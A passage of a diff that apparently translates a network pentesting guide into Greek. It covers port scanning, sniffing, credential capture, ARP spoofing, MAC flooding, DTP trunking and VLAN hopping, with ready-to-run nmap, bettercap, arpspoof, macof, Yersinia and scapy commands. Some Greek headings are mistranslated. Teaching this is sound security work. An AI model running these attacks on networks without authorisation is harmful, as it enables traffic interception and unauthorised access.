199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` - ### TCP Port Discovery -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +Είναι πολύ συνηθισμένο να διαπιστώνουμε ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας host είναι ενεργός είναι **να προσπαθήσετε να βρείτε ανοιχτούς θύρες**. Κάθε host έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε host είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\ +Έτσι, αυτό που χρειάζεστε είναι ένα **γρήγορο σάρωθρο θύρας** ([masscan](https://github.com/robertdavidgraham/masscan)) και μια λίστα με τις **πιο χρησιμοποιούμενες θύρες:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` - -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. +Μπορείτε επίσης να εκτελέσετε αυτό το βήμα με το `nmap`, αλλά είναι πιο αργό και κάπως το `nmap` έχει προβλήματα με την αναγνώριση των hosts που είναι ενεργοί. ### HTTP Port Discovery -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: - +Αυτή είναι απλώς μια ανακάλυψη TCP port που είναι χρήσιμη όταν θέλετε να **εστιάσετε στην ανακάλυψη των HTTP** **υπηρεσιών**: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` - ### UDP Port Discovery -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP port είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **host.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP probe, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` - -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +Η γραμμή nmap που προτάθηκε προηγουμένως θα δοκιμάσει τα **top 1000 UDP ports** σε κάθε host μέσα στην **/24** περιοχή, αλλά ακόμα και μόνο αυτό θα πάρει **>20min**. Αν χρειάζεστε **ταχύτερα αποτελέσματα**, μπορείτε να χρησιμοποιήσετε το [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Αυτό θα στείλει αυτές τις **UDP probes** στο **αναμενόμενο port** τους (για μια περιοχή /24 αυτό θα πάρει μόνο 1 λεπτό): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### SCTP Port Discovery - ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +Εδώ μπορείτε να βρείτε έναν ωραίο οδηγό για όλες τις γνωστές επιθέσεις Wifi την εποχή της συγγραφής: {{#ref}} ../pentesting-wifi/ @@ -73,12 +60,11 @@ Here you can find a nice guide of all the well known Wifi attacks at the time of ## Discovering hosts from the inside -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +Αν βρίσκεστε μέσα στο δίκτυο, ένα από τα πρώτα πράγματα που θα θέλετε να κάνετε είναι να **ανακαλύψετε άλλους hosts**. Ανάλογα με **πόσο θόρυβο** μπορείτε/θέλετε να κάνετε, μπορούν να εκτελούνται διαφορετικές ενέργειες: ### Passive -You can use these tools to passively discover hosts inside a connected network: - +Μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να ανακαλύψετε παθητικά hosts μέσα σε ένα συνδεδεμένο δίκτυο: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### Ενεργό -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +Σημειώστε ότι οι τεχνικές που σχολιάστηκαν στο [_**Ανακαλύπτοντας hosts από το εξωτερικό**_](./#discovering-hosts-from-the-outside) (_Ανακάλυψη Θυρών TCP/HTTP/UDP/SCTP_) μπορούν επίσης να **εφαρμοστούν εδώ**.\ +Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +Σημειώστε ότι οι τεχνικές που σχολιάστηκαν στο _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) μπορούν επίσης να **εφαρμοστούν εδώ**.\ +Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**: -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Αν **ping** ένα **subnet broadcast address**, το ping θα πρέπει να φτάσει σε **κάθε host** και αυτοί θα μπορούσαν να **απαντήσουν** σε **εσάς**: `ping -b 10.10.5.255` +- Κάνοντας ping στο **network broadcast address**, θα μπορούσατε ακόμη να βρείτε hosts μέσα σε **άλλα subnets**: `ping -b 255.255.255.255` +- Χρησιμοποιήστε τις σημαίες `-PE`, `-PP`, `-PM` του `nmap` για να εκτελέσετε ανακάλυψη hosts στέλνοντας αντίστοιχα **ICMPv4 echo**, **timestamp**, και **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Το Wake On Lan χρησιμοποιείται για να **ενεργοποιήσει** υπολογιστές μέσω ενός **δικτυακού μηνύματος**. Το μαγικό πακέτο που χρησιμοποιείται για να ενεργοποιήσει τον υπολογιστή είναι απλώς ένα πακέτο όπου παρέχεται μια **MAC Dst** και στη συνέχεια **επανεπαναλαμβάνεται 16 φορές** μέσα στο ίδιο πακέτο.\ +Στη συνέχεια, αυτά τα είδη πακέτων συνήθως αποστέλλονται σε ένα **ethernet 0x0842** ή σε ένα **UDP πακέτο στην πόρτα 9**.\ +Αν **δεν παρέχεται \[MAC]**, το πακέτο αποστέλλεται σε **broadcast ethernet** (και η broadcast MAC θα είναι αυτή που επαναλαμβάνεται). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## Σάρωση Φιλοξενουμένων -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +Αφού έχετε ανακαλύψει όλες τις διευθύνσεις IP (εξωτερικές ή εσωτερικές) που θέλετε να σαρώσετε σε βάθος, μπορούν να εκτελούνται διάφορες ενέργειες. ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **Ανοιχτή** θύρα: _SYN --> SYN/ACK --> RST_ +- **Κλειστή** θύρα: _SYN --> RST/ACK_ +- **Φιλτραρισμένη** θύρα: _SYN --> \[NO RESPONSE]_ +- **Φιλτραρισμένη** θύρα: _SYN --> ICMP μήνυμα_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +Υπάρχουν 2 επιλογές για να σαρώσετε μια θύρα UDP: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- Στείλτε ένα **UDP packet** και ελέγξτε για την απάντηση _**ICMP unreachable**_ αν η θύρα είναι **κλειστή** (σε πολλές περιπτώσεις το ICMP θα είναι **φιλτραρισμένο** οπότε δεν θα λάβετε καμία πληροφορία αν η θύρα είναι κλειστή ή ανοιχτή). +- Στείλτε **formatted datagrams** για να προκαλέσετε μια απάντηση από μια **υπηρεσία** (π.χ., DNS, DHCP, TFTP και άλλες, όπως αναφέρονται στο _nmap-payloads_). Αν λάβετε μια **απάντηση**, τότε η θύρα είναι **ανοιχτή**. +**Nmap** θα **μειγνύει και τις δύο** επιλογές χρησιμοποιώντας "-sV" (οι σαρώσεις UDP είναι πολύ αργές), αλλά σημειώστε ότι οι σαρώσεις UDP είναι πιο αργές από τις σαρώσεις TCP: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` - ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. +**SCTP (Stream Control Transmission Protocol)** έχει σχεδιαστεί για να χρησιμοποιείται παράλληλα με **TCP (Transmission Control Protocol)** και **UDP (User Datagram Protocol)**. Ο κύριος σκοπός του είναι να διευκολύνει τη μεταφορά τηλεφωνικών δεδομένων μέσω δικτύων IP, αντικατοπτρίζοντας πολλές από τις δυνατότητες αξιοπιστίας που βρίσκονται στο **Signaling System 7 (SS7)**. **SCTP** είναι ένα βασικό συστατικό της οικογένειας πρωτοκόλλων **SIGTRAN**, η οποία στοχεύει στη μεταφορά σημάτων SS7 μέσω δικτύων IP. -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +Η υποστήριξη για **SCTP** παρέχεται από διάφορα λειτουργικά συστήματα, όπως **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, και **VxWorks**, υποδεικνύοντας την ευρεία αποδοχή και χρησιμότητά του στον τομέα των τηλεπικοινωνιών και των δικτύων. +Δύο διαφορετικές σάρωσεις για SCTP προσφέρονται από το nmap: _-sY_ και _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### IDS και IPS αποφυγή {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **Περισσότερες επιλογές nmap** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### Αποκάλυψη Εσωτερικών Διευθύνσεων IP +**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` - ## Sniffing -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. +Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις περιοχές IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing. -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +Εάν ένα δίκτυο Ethernet με διακόπτες είναι σωστά διαμορφωμένο, θα βλέπετε μόνο broadcast frames και υλικό που προορίζεται για τη διεύθυνση MAC σας. ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +Μπορεί κανείς, επίσης, να συλλάβει πακέτα από μια απομακρυσμένη μηχανή μέσω μιας συνεδρίας SSH με το Wireshark ως GUI σε πραγματικό χρόνο. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap - ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +Προφανώς. ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή μια ζωντανή διεπαφή. ## LAN attacks ### ARP spoofing -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +Το ARP Spoofing συνίσταται στην αποστολή δωρεάν ARPResponses για να υποδείξει ότι η IP μιας μηχανής έχει το MAC της συσκευής μας. Στη συνέχεια, το θύμα θα αλλάξει τον πίνακα ARP και θα επικοινωνήσει με τη μηχανή μας κάθε φορά που θέλει να επικοινωνήσει με την IP που έχει spoofed. #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` - ### MAC Flooding - CAM overflow -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +Πλημμυρίστε τον πίνακα CAM του διακόπτη στέλνοντας πολλά πακέτα με διαφορετικές διευθύνσεις mac προέλευσης. Όταν ο πίνακας CAM είναι γεμάτος, ο διακόπτης αρχίζει να συμπεριφέρεται σαν κόμβος (εκπέμποντας όλη την κίνηση). ```bash macof -i ``` +Σε σύγχρονες συσκευές, αυτή η ευπάθεια έχει διορθωθεί. -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / DTP Επιθέσεις -### 802.1Q VLAN / DTP Attacks +#### Δυναμική Τρούκ -#### Dynamic Trunking +Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης κατάλληλης τεκμηρίωσης. -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε Δυναμική Αυτόματη λειτουργία, πράγμα που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στον διακόπτη και στέλνει ένα πλαίσιο DTP Desirable, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης πλαισίων STP και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές. -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κυκλοφορία σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε λειτουργία Default, Trunk, Dynamic, Auto ή Access—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη. +Εάν εντοπιστεί ευπάθεια δικτύου, το εργαλείο _**Yersinia**_ μπορεί να χρησιμοποιηθεί για να "ενεργοποιήσει το τρούκ" μέσω του πρωτοκόλλου DTP, επιτρέποντας την παρακολούθηση πακέτων από όλα τα VLAN. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +Για να καταμετρήσετε τα VLANs, είναι επίσης δυνατό να δημιουργήσετε το DTP Desirable frame με το σενάριο [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Μ**η διακόπτετε το σενάριο υπό οποιεσδήποτε συνθήκες. Εισάγει DTP Desirable κάθε τρία δευτερόλεπτα. **Οι δυναμικά δημιουργημένοι κορμοί στο switch ζουν μόνο για πέντε λεπτά. Μετά από πέντε λεπτά, ο κορμός αποσυνδέεται.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +Θα ήθελα να επισημάνω ότι το **Access/Desirable (0x03)** υποδεικνύει ότι το DTP frame είναι του τύπου Desirable, το οποίο λέει στην θύρα να αλλάξει σε Trunk mode. Και το **802.1Q/802.1Q (0xa5)** υποδεικνύει τον τύπο encapsulation **802.1Q**. -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +Αναλύοντας τα STP frames, **μαθαίνουμε για την ύπαρξη των VLAN 30 και VLAN 60.**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### Επίθεση σε συγκεκριμένα VLANs +Μόλις γνωρίζετε τα VLAN IDs και τις τιμές IP, μπορείτε να **ρυθμίσετε μια εικονική διεπαφή για να επιτεθείτε σε ένα συγκεκριμένο VLAN**.\ +Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε το _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,31 +321,28 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### Αυτόματος VLAN Hopper -#### Automatic VLAN Hopper +Η συζητηθείσα επίθεση του **Dynamic Trunking και της δημιουργίας εικονικών διεπαφών για την ανακάλυψη hosts μέσα** σε άλλες VLAN εκτελείται **αυτόματα** από το εργαλείο: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### Διπλή Ετικέτα -#### Double Tagging +Εάν ένας επιτιθέμενος γνωρίζει την τιμή του **MAC, IP και VLAN ID του θύματος**, θα μπορούσε να προσπαθήσει να **διπλή ετικέτα ένα πλαίσιο** με την καθορισμένη VLAN του και τη VLAN του θύματος και να στείλει ένα πακέτο. Καθώς το **θύμα δεν θα μπορεί να συνδεθεί πίσω** με τον επιτιθέμενο, η **καλύτερη επιλογή για τον επιτιθέμενο είναι να επικοινωνήσει μέσω UDP** με πρωτόκολλα που μπορούν να εκτελέσουν κάποιες ενδιαφέρουσες ενέργειες (όπως το SNMP). -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Μια άλλη επιλογή για τον επιτιθέμενο είναι να εκκινήσει μια **σάρωση TCP port spoofing μια IP που ελέγχεται από τον επιτιθέμενο και είναι προσβάσιμη από το θύμα** (πιθανώς μέσω διαδικτύου). Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να παρακολουθήσει στον δεύτερο host που κατέχει αν λάβει κάποια πακέτα από το θύμα. ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +Για να εκτελέσετε αυτήν την επίθεση μπορείτε να χρησιμοποιήσετε το scapy: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` - #### Lateral VLAN Segmentation Bypass -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Αν έχετε **πρόσβαση σε έναν διακόπτη στον οποίο είστε άμεσα συνδεδεμένοι**, έχετε τη δυνατότητα να **παρακάμψετε την κατανομή VLAN** εντός του δικτύου. Απλά **αλλάξτε τη θύρα σε λειτουργία trunk** (γνωστή και ως trunk), δημιουργήστε εικονικές διεπαφές με τα IDs των στοχευμένων VLAN, και ρυθμίστε μια διεύθυνση IP. Μπορείτε να προσπαθήσετε να ζητήσετε τη διεύθυνση δυναμικά (DHCP) ή μπορείτε να την ρυθμίσετε στατικά. 